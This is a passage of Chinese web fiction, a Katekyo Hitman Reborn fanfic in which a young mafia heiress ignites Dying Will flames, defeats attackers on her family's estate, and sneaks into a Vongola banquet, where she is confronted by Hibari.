不断消失的同伴以及格外安静的迷宫似乎引起了搜查人员的警惕,又或许是因为我身上的气味太过浓重,当我故技重施再次靠近的时候,他猛然转身抬起枪口对准四周疯狂扫射。
“该死的!吉姆?费娜!霍尔!”
“队长这里不对劲!”
烟尘再次炸开,我察觉到从另一个方向迅速接近的声音,遗憾的后退一步,翻过被炸毁的窗户进入旁边紧挨着的房子,又朝索恩庄园的方向奔去。
教堂方向的声响不知何时已经停了下来,想到尼达姆戏耍般的游刃有余,我陡然生出些不太好的预感。
脚下的皮鞋搭扣在今天的刚强度运动过后终于支撑不住断裂开来,我踉跄了一下,顺势躲在绿化带后,扯下它们方便继续赶路。
一辆车却缓缓停在我身前挡住去路,我警惕的握紧了枪。
这么快就被发现了! ?
下一刻沢田纲吉打开车门走了出来,朝我伸手:“看起来你需要一些帮助,黑川小姐。”
我抿唇看了一秒,干脆的握着他的手用力又敷衍的晃了晃,飞快坐进车里:“麻烦送我去索恩庄园。”
司机握着方向盘面色复杂的看了眼面色平静的坐回车里的boss ,接收到眼神后挺直脊背:“是。”
他一脚将油门踩到底,驾驶着车辆飞奔在满是碎石的路上,内心恍惚的思考。
原来刚才突然让他开车出去是为了接上黑川小姐。
他怎么记得开战之前boss还拒绝了他的提议,不打算插手索恩的家族事务吗?
我在车辆第一次颠簸起来的时候就眼疾手快抓住了扶手,只可惜低估了车辆的惯性,整个人都被迫朝右侧倒去。
我后背猛然撞进沢田纲吉的怀中,口中不受控制的闷哼一声。
肩膀和后背的伤口在撞击之下再次崩裂,温热的液体浸透两人相贴的肌肤的脊背和胸膛。
有陌生的吐息不经意落在耳后,我下意识一个激灵窜了回去,双手握紧扶手稳定身体,绷着脸看着前方路面。
攻略对象近在眼前我却一点心思都生不出来,在摇晃的车辆中,担忧着大家的状况。
司机看向后视镜,一辆车在空旷的街面飞驰实在太过显眼,尼达姆他们追了上来:“boss,他们追上来了,我要加速了。”
我脸色一变朝后看去,但被敌人追捕的紧张竟然被这辆速度恐怖的车掩盖,我握紧把手紧紧闭上了眼。
还没回索恩庄园,不能在车里就歇菜!
当我的肩膀再一次撞上车门,一双温热的手按了上来,力道不大不小却不容拒绝的将我按在座位上想要帮忙稳住身体。
我有些恍惚的睁开眼睛,睁开眼朝他看去:“谢谢。”
“轰!”
车尾被什么东西砸中了,车辆在高速行驶中摇晃得更加剧烈,我捂着嘴唇白着脸,刚直起来的身体又摔到什么上。
脑袋还被磕了一下。
肩膀上的手加重了力道,想要将我扶起来,我捂着额头低吟一声:“好痛。”
耳边似乎拂过一声轻叹。
然后一只手按住我的后脑勺抵在什么地方,我下意识抓紧手中的布料,竟然在狂奔的车辆当中维持住了平衡。
我在黑暗中眨了眨眼睛,腿下温热的触感逐渐传入脑海。
诶?
我意识到什么,僵硬的抬脸流出一双眼睛,对上一双暗含安抚和歉意的棕眸。
覆在脑后的手像是做惯了一样安慰似的轻抚。
“抱歉。再忍耐一下。”
“我们现在要尽快赶去索恩,没时间停下处理他们。”
我在那双不含任何迤逦的眼神中点点头,又把额头抵了回去,竟然在这样的环境下真的冷静下来思考接下来的行动。
不知道伊利亚到底来了多少人,城里的伤员也不知道有没有安全转移,教堂那边没有了动静查尔斯和米瑟尔情况怎样也无法得知。
可恶!
必须要赶快进入索恩和大家汇合才行!
我蹙着眉忽然坐了起来,透过后视玻璃冷静的说:“快到索恩了,我要先解决那些虫子再回去。”
让他们一直在车后紧追不舍实在太显眼了。
一路上狂奔不止的车辆轮胎和地面发出刺耳的摩擦声。
“boss我们到了。”
我一怔,看向窗外陌生的街景以及华丽的尖顶建筑有些茫然。
沢田纲吉朝我露出一个安抚的眼神,轻拍我的脊背,从容道:“我们先下车。”
我坐在他怀里停顿片刻,然后火烧屁股一样跳了出去,攥着枪支跟着他进入这座房子。
然后我瞠目结舌的看着他从壁画后的暗格里拿出一个盒子,按下指纹后,将其中的东西递了过来。
“虽然只是仿品,但强尼二改良过了,大概能支撑死气之炎十分钟。”
我从他脱下手套的掌心拿起那枚戒指放到眼前查看:“仿品?和索恩指环好像。你怎么会有这种东西?”
他关上暗格,将一同拿出的细剑也递给我,棕眸认真看过来解释的时候有种让人不自觉信任的魅力。
“这是最近打扫黑市的战利品,没想到真的会派上用场。”
我把戒指套进手指,若有所思的看着手,嘀嘀咕咕:“真的吗?我不信。”
“咳。”
他像是看不懂事的孩子一样含笑看了我一眼,随后表情严肃起来:“按照约定,我不能随意插手索恩的事务,黑川小姐,现在已经离索恩很近了。”
“你做好保护好部下家人的准备了吗?抱着必死的决心。”
我心头被他刻意带来的轻松一扫而空,看向布满伤痕的手指:“必死的决心?”
“……死气之炎就是这种东西呢。”
只有觉悟之人才能燃起的力量。
他看着形容狼狈称得上凄惨的黑发少女,从小被保护着长大的孩子,真的能在这种时候成功抓住机会点燃火焰吗?
沢田纲吉隐藏好眼眸深处的担忧,鼓励的看着她。
“啊,是这个吗?“
他神情一顿,看向脸颊脏兮兮的少女,年少时无知无觉被老师引导着走入Mafia世界的身影与她重叠在一起。
他与那双被透明火焰照亮的蓝色眼眸对视片刻,忽然笑起来,赞赏的抚了抚她的头发。
“做得很棒,好孩子。”
我戴着指环的手握住那把剑,指环竟然和护手内的凹陷相契合,发出轻微的咔哒声,紧接着漂亮的冰冷的透明火焰蔓延至整只剑身。
“竟然是这样用的。”
我扶着窗沿翻了出去,在离开之前,转头看沢田纲吉,歪了歪头:“今天谢谢你。”
他还没来得及说话,就听她接着说。
“但是我不喜欢孩子这种称呼,你也不比我大多少吧,等我赢了他们你答应我一定要换一个。”
沢田纲吉冷愣了愣:“好。”
看着她离去的身影,他面向不知何时出现的黑发男人,脸上隐约有些少年时的骄傲神情:“我做的也不错吧reborn 。”
鬓角卷曲的男人靠在窗边,绿色的蜥蜴在他修长的手掌间打转。
“哼,马马虎虎吧。”
reborn抬起帽檐看向学生:“不过,你答应那位小姐的事该想想了,索恩家的继承人必然是她无疑。”
这有什么关联吗?
沢田纲吉迟疑:“诶?朋友亲近一点的话叫名字就可以了吧?”
reborn压下帽檐从打开的暗道中离开。
哼,果然还是蠢纲。
第103章
一路追到别墅外的尼达姆抬起一只手,带着剩余汇合的部下悬停在半空,望着从窗户里跳出来的人,眼神低沉的能滴出水。
“不跑了?”
他按下手臂内侧某处,固定在小臂上的炮筒咔哒几声,变成一只狰狞的豹子头,黑漆漆的枪管从其口中伸出,毫不犹豫的对准她。
我接着一切可以遮掩身形的掩体奔跑,燃起的火焰后的细剑在手中轻轻颤抖,似是承受不住火焰的侵蚀又如同迫不及待。
尼达姆扫过她手中多出的剑,轻喝一声将积蓄的火焰化作子弹射了出去,那些燃着火焰的子弹在空中形成一只巨型猎豹。
数不清的子弹在空中发出接近兽类的咆哮,擦过路边的梧桐树,齐齐在空中转向, 在叶片上留下焦黑的痕迹。
尼达姆看着在下方奔逃的少女,眼神发冷。
“只是伊利亚最新的技术——爆炎弹·改,聚合了五十倍普通炎弹的力量,甚至还能够不断追踪目标,闭上眼然后祈祷吧。”
“你的父亲就是死在这枚武器手下, 连挣扎的机会都没有, 能够死在同一门炮弹之下, 算是伊利亚对你们最后的仁慈!”
他操控着脚下的飞行装置张狂的大笑出声,然后注视着无力的停下脚步,瞬间被追随而来的火焰淹没的身影,声线冷酷:“死吧。”
他闭上眼睛听着美妙的爆破声,在一片狼藉的背景之下,轻轻哼唱:“什么能够看见生死的眼睛,果然是那群小子被吓破胆的无稽之谈。”
“索恩编造的晃眼将由我来打破,小子们走吧,去看看索恩那边的战况怎么样了。”
“是!”
一道银芒倏然满天炸开的烟尘当中破出。
尼达姆在极近的地方听到了一道平静至级的女声:“你的底牌就是这个?那么,现在该我了。”
锐器穿透血肉又似利刃划过豆腐的声音在他大脑中响起,胸腔中的心跳陡然加快,他的笑意僵在脸上。
他张了张口,却猛然喷出一口鲜血,脚下的火焰断断续续的支撑着他向后转身,抬起的手臂只移动了几分就颓然落下。
紧接着身上的火焰陡然熄灭,徒劳无力的从空中坠落。
到最后的黑暗来临到没能看见让他惶惑的对象,只有随着那人毫不犹豫转身而扬起的黑发,堪堪映入眼角。
尼达姆僵硬的摔在地上。
他……居然真的败了……不可能……那个女人怎么可能……
我双脚微曲落在地上,视线扫过他惊愕之下愣在原地的下属,脑海中自然而然的计算与几人之间的距离。
没了可以借用起跳的平台,我微微后撤一步,深吸一口气。
那几人终于反应过来:“队长!!!”
他们对视一眼看过来的眼神带着忌惮和恐慌,瞬间四散逃窜。
跑的最慢的队员看到那个古怪得不得了的少女站在原地,分别朝不同方向挥剑,透明色几乎没什么存在感的火焰在那一瞬暴涨,形成几道带着可怕气息的银以一种无法躲避的姿态朝他飞来。
他最后的记忆是队友们的闷哼以及那双冷漠的仿佛能直视死亡的蓝眸。
我喘息着在轰隆隆的心跳中,将视线虚虚落在地面的血色上,用力闭了闭眼睛,浓重的血腥味让我有点想吐。
身后的脚步声逐渐靠近,我晃了晃可能是有些脱力的身体,下意识想要转头,眼前却忽然被一片温热的手掌拢住。
我在黑暗中茫茫然的眨眼:“沢田先生?”
他沉稳温和的声线从我身后传来,带着弄弄的安抚意味:“做得很好。第一次点燃火焰就能做到这种程度已经很厉害了。”
我抓着他的手腕,掌心似乎戳碰到什么冰凉的东西:“……嗯。”
他是在安慰我吗?
沢田纲吉垂眸看着她更加苍白的脸毫无血色的唇,以及刚才远远瞥见的那双有什么摇摇欲坠的眼睛,心头似乎被轻轻捏了一下。
不痛却有些想要叹息。
他似乎弄错了一件事,就算现在的境遇相似,但黑川小姐和他是绝对不同的人。
以年长者的身份引导她负担起那样沉重的负担,指引她如何亲手手刃敌人,看着那双布满伤痕的手沾染上敌人的鲜血……
这样真的是对的吗?
在她看不见的地方,沢田纲吉多年来练就的稳重表情出现了细微的裂痕,看着她的眼神带着抱歉。
看来只能未来多加关注一下这孩子了。
第104章
郁金香紫的裙角随着动作小幅度飘动,端着托盘的女人从铺满丝绒地毯点亮烛台的走廊中穿梭,暗淡的带着香气的烛火在她身边萦绕。
仿佛下一秒走廊尽头布满华丽浮雕的拱门将会被人从里侧打开,露出觥筹交错的大厅,摇曳的酒香与谈笑交织成繁荣的画卷。
可再仔细看去走廊的两边繁复的装饰物残留着难以清洗的灰尘,昏暗的烛火只占据了烛台上不到一半的位置,就连那些地毯也散布着零星的焦黑圆斑。
自从首领的死讯传来,家族中大部分追随者分崩离析,这座残留下来的房子在只开放一二两层的情况下,房间竟然也绰绰有余。
玛莲娜端着药物往伤员居住的房间走去。
细小的砂砾却从头顶扑簌簌的往下落。
这段时间造成的条件反射让她下意识紧绷着脊背贴在过道的墙壁上,下一瞬那扇不可能有人再去打开的宴会厅大门轰然炸开。
雕刻着蛇与荆棘族徽的厚重大门同几道狼狈的身影一起摔到她面前。
摔在地上的是今天负责放哨的年轻人,此时他脸上糊满了血迹,手指抽搐着抓住她的裙角:“玛莲娜……快跑……”
与此一同出现的是敌对家族熟悉的黑色制服。
带着面罩看不清表情的男人狂笑着走进来,一脚踩在他的手腕上,郁金香紫的裙角出现几道拉长的暗色痕迹。
“说什么呢渣滓!啊,先送你去三途川好了,你放心,索恩剩下的残党马上就回来和你团聚哈哈哈哈哈哈!”
冰凉的枪口抵住地上年轻人的后脑勺,保险栓打开的声音在玛莲娜耳中是那么残忍,她尖叫着将手里唯一的武器——金属质地的托盘砸向敌人。
“停下!停下!”
玛莲娜的手腕被他不耐烦的撇开, 单薄的托盘摔打在全副武装的敌人身上没能造成任何伤害。
身材高壮的黑衣男人唯一露出的眼睛闪烁着残忍的光:“哦,我的肩膀好像有点疼,那我们来玩点有趣的好了。”
他反手扣住玛莲娜的手臂将挣扎不已的女人拉到自己身前,带动她的手和自己一同握住枪支,对准趴在地上生死不知的青年。
“如果你按下扳机,那我就饶你一命怎么样?”
他声音忽然沉了下来,冷漠道:“如果你拒绝,那我就先打爆你的头。”
玛莲娜被震慑在原地, 抵在食指上的手指忽然缓缓用力,她满脸苍白的挣动手腕:“不!我不要玩这个,你放开我!”
力量的悬殊又让她开始崩溃。
“你们这群恶魔不会有好下场的!”
大小姐早上离开之前的眼神恍惚间又一次出现在眼前,她忽然从胸腔里憋出一声闷笑:“我们的首领不会放过你们的!”
“啊,是吗?”
“砰!”
近距离炸开的枪声在过道内回响,躺在地上的青年身上陡然炸开一道血花,从始至终他丝毫动静也没有。
尼克遗憾的放开手:“竟然在游戏开始之前就已经支撑不住了吗?真可惜。”
他低头看向似乎已经被刺激太过的女人,唇角绽开无趣的笑意:“算了,尼达姆差不多也该解决完外面那些过来了,我先送你上路吧。”
他把手枪从女人僵硬的手指里抽了出来,随意对准她的胸口:“砰!”
“诶?”
尼克看着空空如也的手呆愣了一瞬,缓缓抬头看向忽然出现的两人以及被他们护在身后的玛莲娜:“两个人?尼达姆只杀了一个吗?”
他看向米瑟尔手上的戒指,眼神贪婪:“不过也好,杀了你们任务就差不多结束了。”
米瑟尔握紧拳头看着不知道如何得到指令,从四面八方包围过来的敌人,强行压抑下愤怒,将燃着火焰的戒指放进剑柄的护手里。
轻微的咔哒声后,在尼克陡然亮起来的眼神中,那柄剑如同被唤醒一般,从接近护手的一端蔓延开透明的火焰。
那火焰仿佛快要熄灭一般在剑身上摇晃,却在大开大合的挥舞当中坚强燃烧。
米瑟尔挡在两人身前:“我来拦住他们,你们去找其他人!”
查尔斯眸色沉沉,一只手无力的垂落在身侧,指尖仍然在向下滴血:“拜托你了米瑟尔,我会立即向彭格列求援,你一定要撑住。”
在逐渐缩小的包围圈中,米瑟尔笑了一声,表情张扬:“这可是拥有穿透特性的火焰,我现在好简直不能再好了,不要给我拖后腿。快走。”
“保重。”
查尔斯拦腰提起玛莲娜和米瑟尔同时动了起来。
黑发青年如同一只锐不可当的箭矢轰然射向包围圈,轻易能够穿透防御性外骨骼的剑让敌人的行动有片刻的迟疑。
就是现在!
查尔斯带着人倏然冲了出去。
他额头的汗珠混合着血液在骤然弥漫开的硝烟当中狼狈的落下,第一次觉得设立的避难点这么远!
他飞快穿过一道圆形拱门,避难点的厚重金属门近在眼前,而身后追兵的脚步也越来越近,咽下口中血腥味,他停下脚步将手臂下的人往那边推去。
“走。”
追来的有人三人。
两名伤患面对全副武装的敌人黑洞洞的枪口,窒息的绝望感在两人心中升腾,玛莲娜捂着手臂上的伤口,抽出他腰后的枪藏进袖子里。
“那里不能再进人了。”
受伤的查尔斯对付不了三人,开门的瞬间绝对会有人跟上来。
向来温婉柔美的女人第一次露出这样决绝的表情:“我不能让索恩毁在我的手里,来吧。”
查尔斯咬牙:“玛莲娜!”
追来的三人显然没有将两名伤员放在眼里,对视一眼,其中一人独自靠近站姿警惕的查尔斯。
几乎是一个视线交错的时间,两人就缠斗在一起,一条手臂受伤的查尔斯战斗经验再丰富也无法在这种情况下占据上风。
他几乎是怒吼着将人掀翻在地:“玛莲娜!!”
被忽视的女人倏然抬起手臂,面容冷酷中带着恨意,对准那人扣下扳机。
一声枪响过后,被改造后宽大的走廊里有片刻的寂静。
紧接着一道光束穿过玛莲娜的手腕,而被压制在地上的男人毫发无伤的翻身而起,扼住了查尔斯的脖子。
“看来胜利注定站在我们这边对吧?”
他注视着脸色逐渐涨紫的查尔斯,胸口子弹擦过的地方,只有一道浅浅的白色痕迹。
无论是查尔斯和倒在地上的玛莲娜都没有说话,看向他们仇恨的眼睛阐述了一切,那扇还未被破开的厚重大门却在这时发出了细微的响动。
厚重的大门被缓缓打开,眼睛里盛满泪水的女孩哭着被拽向身后,而一些青壮年连带着神情倔强的老人走了出来。
“嗯哼?原来人都在这里啊,难怪街区里的血腥味有些过分稀薄了。”
率先走出来的青壮年手中拿着武器,他们大部分是索恩忠诚的追随者,他们大部分人都还受着伤,小部分是面带愤怒身强体壮的民众。
为首的青年面容愤怒到扭曲:“可以了!快住手,你们到底想要什么!”
拖着一个人从拐角处走出的尼克抛了抛手里的指环:“哈?你们不知道吧?就是因为你们的boss不肯交出这个东西,你们才会变成这样。”
“要恨就恨无能的他们吧。”
被他提着手里的人挣扎,声音沙哑的怒吼:“可恶!那就是索恩的东西!呃啊!”
尼克眼神动也没动,将人提起来膝盖重重的撞上他的胸口:“安静点,你现在是我的战利品,我不喜欢太聒噪的东西。”
站在避难室门口的青年面色难看:“那东西你们已经拿到了,把人放下立即离开。”
“不要。”
尼克看着愤怒的人群,眼神阴沉:“伊利亚马上就会接管这片区域,你们在这种时候却仍然和索恩一条心,看来我需要给你们上上课。”
他抬手对准地上的查尔斯:“都看看,违抗伊利亚的下场!”
“咔嚓。”
细微的声响隐匿在保险栓扣动的声音中。
可紧接着接连不断响起的碎裂声打断了尼克的动作,他神色一凛带着人迅速后退,下一刻冷冽的火焰呈圆柱形轰然穿透厚重的楼板。
两道身影落了下来。
身形颀长优雅的棕发男人体贴的弯腰,将臂弯里的少女放了下来,看向被分隔在两边的人群,与身边的少女对视。
“看来我们来的正是时候。”
我落地后晃了晃,不论是体力还是火焰都消耗过大后的身体就算踩在地上也有些飘飘然的虚浮,背后有一只手隐蔽的扶了上来帮忙稳住身体后很快又收了回去。
我扫了眼正手忙脚乱把查尔斯和玛莲娜带回去的众人,蓝眸冷冽的看向穿着和尼达姆差不多的尼克。
尼克上下打量了她一会儿:“你就是那位大小姐?尼达姆竟然没拦住你。”
他看向棕发男人:“是他救了你?”
不,尼克望着那个男人瞳孔收缩,勾着米瑟尔衣领的手指颤抖了一下。
“你……你是那个彭……”
似曾相识的银色火焰连带着挥刃的少女出现在他眼前。
我举着通体皲裂的剑身,面无表情的刺入他的身体:“你的话太多了。”
尼克:“你的火焰可刺不穿我的防御……噗——”
他话音顿住,随着少女抽剑的动作踉跄了一下,不可置信:“不可能!明明他就无法……不,这双眼睛……”
“原来你……真的是……”
我踩过他倒在地上的身体,迅速解决剩下几人,拽起生死不知的米瑟尔,摸了摸他的颈侧,神情微松:“还活着。”
我拖着他迎着众人惊愕又狂喜的眼神往回走。
没走两步沢田纲吉走了上来,自然而然的从我手中接过米瑟尔的衣领:“辛苦了,让我来吧。”
我顿了顿,看着他递过来的手,将手搭了上去,那只温暖的掌心牵着我穿过众人让开的道路,我被轻轻推向一张简陋的治疗床。
记忆的最后是他温和又怜惜的棕眸。
那只带着宽戒的手在我眼前晃了晃:“睡吧,醒来之后,一切都会好起来的。”
我下意识抓住晃动的袖口,闭上了眼睛:“……嗯。”
第105章
我扯了扯身上的裙子,鬼鬼祟祟的蹲在墙角,注视着几十米开外的高大围墙,在整齐的脚步声转过墙角之前把脑袋缩了回去。
我叹了口气坐回椅子上,在对面青年复杂的眼神中, 端起桌上的咖啡咕咚咕咚喝了一大口,神情凝重:“情况不妙啊小米。”
“谁是小米啊混蛋!”
我按了按嗡嗡作响的耳朵, 熟练的举起被布料包裹的左臂,慢条斯理的摸了摸中指上的戒指, 轻咳一声。
米瑟尔喷射毒液的动作一顿,锐利的眉眼像是落败的小狗耷拉下来,忍了忍还是收着力道点了点桌子:“是你说有办法,查尔斯才同意我们过来的。所以你的办法呢?”
“我们这种根本没有请柬的不速之客怎么进入彭格列的基地!”
见到有人他不自觉提高的声音吸引过来,我“啧”了一声,起身叉了一块巴斯克眼疾手快塞他嘴里。
“唔唔唔?!”
我放下叉子,用另一手无可奈何的拍了拍他的头发:“能冷静下来吗?”
不管对谁都一脸桀骜不驯的黑发青年随着她的动作,脸颊不自觉涨红,胸膛剧烈起伏几下,在隔壁桌客人忍不住担心他要动手时,他身上的气势弱了下去。
米瑟尔涨红着脸把嘴里的蛋糕吞下去,低着头放低了声音:“可以, boss 。”
他说完又忍不住瞥了眼坐在对面的黑发少女,他名义上的姐姐,放在一个星期之前他做梦都不想到自己会将到手的位置让了出去。
还是心甘情愿的那种。
从他认识她开始就一直是需要人保护的柔弱角色忽然转变为他需要为之效忠,甚至献出生命的角色,他还没怎么想好要用什么态度面对她。
他一直以来脾气都不太好,以前对这位充当花瓶的姐姐言辞都不怎么客气,说不定她会看自己不顺眼。
直到这次两人一同出行, 他发现这些顾虑完全没有必要,因为这家伙她……根本没有成为mifia首领的自觉!
米瑟尔咬了咬牙,深蓝色的眼眸深处隐藏着慌乱与茫然的复杂情绪。
我看着他乖乖安静下来满意点点头:“有请柬是有请柬的办法,没有请柬当然也有没有的办法,事急从权嘛。”
我把桌上最后一块点心塞进嘴里,看着他剩下的一块提拉米苏,在米瑟尔期待的眼神中举手:“麻烦打包。”
“咚!”
米瑟尔捂着不小心撞上桌角的额头,抬眼瞪着她:“你……你怎么说也是索恩的boss ,怎么能这么……这么……”
他看着套着一件修身的黑色风衣,苍白的下巴隐藏在风衣领里,面色平静单手提着描绘着可爱花纹小蛋糕盒直起身的姐姐,想说什么又憋了回去,闷闷的跟在她身后。
他憋屈的跟在她身后,打定主意要好好看看她准备怎么做,视线随着那片飘逸的黑色衣角微微移动。
他知道那是玛莲娜为她准备的衣服,摒弃了以前柔软轻柔的淑女风格,变成格外冷淡帅气的风格,是西西里有名的设计师做的高定。
像这样的衣服玛莲娜准备了很多。
根据她的说法就是:“大小姐现在身份不同了,不能让其他家族看轻了,这样看起来比较可靠哦。”
他觑着眼睛快速扫了一遍走在前面的身影,一边警戒周围,一边分神吐槽:穿着这么冷淡,结果拎着一个马卡龙色的小蛋糕盒,人设崩了吧!
走在前面的身影忽然停了下来,他瞳孔倏然放大,忽然意识到有几名实力不弱的守卫在接近。
他条件反射的按住她的肩膀往后身后带,手下却忽然摸了个空。
下一秒她的声音从上方传来。
“嘿咻,就是这里!快上来!”
饶是米瑟尔向来自诩是承受能力强大的硬汉,也忍不住神情崩塌了一瞬:“你在干什么!这可是彭格列!他们怎么可能只有巡视的守卫,万一被发现就说不清了!”
我坐在墙头左右看了看,没在围墙内部发现守卫或者摄像头之类的东西,朝他笑了笑:“没事,我们就是进去参加宴会,什么都不会做的。”
顶多找机会见见彭格列的boss谈点事情而已。
身为站在意大利西西里岛Mafia顶端的组织,他们应该不会太介意吧……?
我犹豫了一下,还是留下一句话跳了进去,他们可以再想办法,但是索恩已经等不了了。
“除了他们再也没有人能将我们从伊利亚的联盟阻断当中帮助我们了,今天是最好也是唯一的机会!”
米瑟尔看着空荡荡的墙头烦躁的抿唇,神情决绝,她说的对。
他跟了上去,心中不知是释然还是不甘。
果然那家伙才是适合索恩的首领。
身为boss的追随者他只要跟在她身后就可以……
“喂!那边的小子!你在干嘛!”
米瑟尔踉跄了一下,绕过来的守卫已经面色不善的举起了枪,他迅速评估了一下双方实力抿唇转身奔了出去。
“等等!你站住!”
我站在墙背面把蛋糕盒换了只手,侧耳倾听片刻,叹了口气:“看来只有我一个人探险了。”
我和米瑟尔的想法一样,这样的Mafia家族绝对不止是表面上看起来的这样简单,只有一人行动让我压力倍增。
我站在墙角的阴影里,闭上了眼睛,仔细感受着周围的气息,静谧的风声拂过耳膜,紧接着稚嫩的鸟雀在林间跳跃,华丽的大型喷泉里水滴哗啦啦的落下……以及风声带来了某处嘈杂的人声。
就是那里!
我仰头辨认了一下方向,顺着彭格列基地绿植的隐藏小心翼翼的朝人声的方向靠近,偶尔还能遇到毛绒绒的嫩黄色小鸟在枝叶间跳跃。
我看着不远处出现的建筑,松了口气,唇角勾起。
果然找到了。
不经意间我和枝头出现的可爱胖球儿对上了视线,小一还没来得及绽开,脊背一寒忽然生出些许被窥伺的不适感。
我隔着风衣的面料袖子,警觉的环视了一圈,期间奶黄色的小鸟睁着可爱的豆豆眼一直看着我。
“是错觉吗?”
我身形灵活的避开来往的侍者跟在一个金发男人身后混进宴会厅,一进去我就抛弃他闪身隐入最旁边的休息区,靠进柔软的沙发里,把提着的小蛋糕放在桌上,自然而然的脱下风衣端起一杯香槟,朝旁边沙发望过来的黑发男人从容的举了举杯。
我和那双深不见底的黑眸对视片刻,心底一凛,某种危险的直觉作响,后背陡然渗出大片冷汗。
我脸色微白,拿着酒杯的手几不可查的颤抖,心里暗骂自己怎么唯独挑选了这个位置!
他很危险和他对上我会死,直觉这样叫嚣着。
我动作凝固在原地,在留下冒险还是立即撤离之间犹豫,还没决出结果,那人就若无其事的拎着酒杯朝我举杯。
“ciao。”
我提了提嘴唇,将酒杯凑到唇边喝了一大口,热意从胃里升腾,让我刚才发冷的身体恢复过来。
我整理了一下头发裙子就端着酒杯站了起来,我进来可不是为了蹭自助餐的,离开之前不着痕迹又看了眼不远处的男人。
那人压低的帽檐让人很难看清他的表情,只能注意到那只在趴在帽子上栩栩如生的蜥蜴,以及瘦削脸侧卷曲的鬓角。
那是一个充满危险以及魅力的男人。
我掩去凝重的神情加快脚步离开,果然不愧是彭格列么,看来我要多加小心了。
在她离开后,靠坐在沙发里的男人微微顶起帽檐注视着她的背影,按了一下隐形耳麦:“确定入侵者身份,索恩家的新任首领。”
“阿纲暂时还没回来,多加注意她的行动。”
耳麦对面传来几道声音:“是。”
我站在舞池边缘的餐桌旁,不知道拒绝了第几个来邀请的男士,面色有点难看,干脆转过身背对着大部分人郁闷的又啃了一块橘子味的小蛋糕。
据说是为了庆祝首领生日所举办的同盟宴会,但除了最初遇到的那个危险的黑发男人,根本没有人再给我那种压力。
彭格列的首领不应该是那种平平无奇的角色,不在么?
我忧愁的蹙眉,连嘴里最喜欢的橘子蛋糕都不香了。
一道身影散发着毫不遮掩的兴趣靠近,我不用抬头都能察觉到对方饶有兴趣的眼神,捏着叉子的手逐渐收紧。
还有一点……为什么总有人要来打扰我啊!
我低头看了一眼身上的裙子,普通的修身丝绒开叉长裙,颜色是保守的黑色,开叉的高度也相当安全。
只有左臂和后背是大片的镂空,可是后背还缠着大片绷带挡住了大部分皮肤,只吝啬的露出一小片后腰与绷带的间的空隙。
就连斜肩露出的左臂上也都盘旋着墨色的纹身。
“不应该啊,出门之前米瑟尔明明说过看起来挺一般了。”
此时基地外号好不容易摆脱追兵,结果发现巡逻的守卫更多根本无法再翻进去而急得咬牙的米瑟尔打了个喷嚏。
米·喜欢金发火辣美人·瑟尔躲开险些被发现的巡逻队,揉了揉鼻子:“谁在骂我!”
我心里烦躁嘀咕,熟练又机械的拒绝了那人。
“抱歉,我累了。”
那人好歹也是受邀来参加彭格列宴会的小家族头目,被拒绝了脸色不太好看,却也没做什么,转转身暗自咋舌:“嘁,都是彭格列来的,可惜他和守护者都没有出席。”
我耳朵动了动,眼神不可避免还是带出了点失望。
真的不在。
计划有变找彭格列寻求合作庇护的方法行不通,只能退而求其次去密鲁菲奥雷看看了。
我一向不是雷厉风行的人,但成为首领之后,身上压着大家期待和信任的眼神,也无法真的松懈下来。
确认彭格列的首领不在之后,我就放下酒杯往门外走。
“ciao,这位美丽的小姐,我能邀请你跳一支舞吗?”
我脚步一顿,转身:“抱歉,我不……嗯?”
眼前的金发男人拥有一副好样貌,我认出了他,刚才混进来的时候就是跟在这个男人身后,而且他给人的感觉和刚才不太一样。
如果非要比较的话,大概就是食草动物和肉食动物的差别吧。
他笑得很柔和,看起来性格开朗阳光的类型,但我同样从他身上察觉到了危险。
我抿了抿唇想到什么,伸出一只手:“您是?”
他眼睛一亮握住我的手,贴心的带着我避开人群滑入舞池,低头看过来的时候眼角带着淡淡的笑纹:“我是迪诺,迪诺·加百罗涅。”
我随着他的动作迈步,闻言手指紧了紧,又在被察觉之前放松下来:“我姓黑川。”
迪诺·加百罗涅,人称跳马迪诺,是加百罗涅家族的十代目,也是彭格列首领的同门师兄,家族实力不错。
但家族势利与产业方向对索恩帮助不大。
我注视着他温和开朗的眼神,忍不住叹了口气。
他没有意识到眼前的少女居然大胆到独自偷偷溜进彭格列的宴会,闻言轻笑,注视着浑身充满矛盾的少女启唇:“很荣幸认识你,黑川小姐。”
他看出她不太适应跳舞,不动声色的放慢了脚步,一边提起她可能会感兴趣的话题。
我被他幽默风趣的话吸引,不自觉分出了点注意放在他身上,和他含笑的眸子对视,我歉意的张口:“抱歉,我想我该离开了。”
“什么?”
他似乎没听清,矮身凑近了点,一声枪响忽然在头顶炸开。
我听到了细碎的碰撞声以及四周慌乱的人声,下意识抓住迪诺的衣袖往旁边钻,却没想到被反手握住手腕抱了起来冲出人群。
硕大的水晶灯从穹顶砸了下来,在逐渐停歇的乐声当中,散落一地碎片。
我怔愣的被迪诺放在被窗帘隔绝的小阳台。
他神色凝重的叮嘱:“我出去看看,黑川小姐你先躲在这里不要随便走动。”
我注视着他转身离开,然后立即打开了阳台的窗户,从侧边翻了出去,这时我庆幸选的裙子有开叉方便了行动。
我瞄准没什么人的时候悄无声息的落在草坪上,呼了一口气,准备趁里面乱起来立即离开。
转身对上了一双上挑的凤眸。
那人穿着一身不便行动的暗色和服,动作却异常迅猛,手持不知何时出现的浮萍拐带着可怖的风声朝我的脸挥来。
“!”
我几乎是狼狈的从他的攻击下稍微拉开距离,抽出袖子了的手柄握住,左手的指环燃起的透明火焰似乎让他战意更加高涨。
我握住改良过的手柄,左手向下挥动,细剑的剑身出现。
“你是谁?!我只是想要离开的客人!”
我藏住不安,虚张声势的说。
他挑眉:“哦?我记得索恩家没有被邀请。”
他修长的身形如猎豹般微曲,几乎是下一瞬就出现在我面前:“擅闯者,咬杀!”
我心里一沉。
第106章
被发现了。
我咬牙举剑挡住他的进攻, 手中传来的力道让手指剧痛,差点松开让武器飞出去。
我曾经想过被发现的后果,可能会被当场揭穿,索恩的颜面扫地, 可能会被彭格列发现当做可疑人员制伏关押, 任务失败。
目前大概在走第二种流程。
但发现她的这位战斗欲望出乎意料的强烈!
而且战斗力简直爆表!
我一刻也不敢放松, 用尽全力躲闪之中,寻找他身上能看到的线, 但很快发现单纯的看见是没用的。
我根本无法在他靠近的时候,触碰到线的位置!
再一次被躲开后,我咽下口中的血腥味,宴会厅内的嘈杂声越发升级,恐怕在里面解决之前没有人能来阻止这个男人。
我如果不竭尽全力反抗的话, 会死的,一定会死的吧!
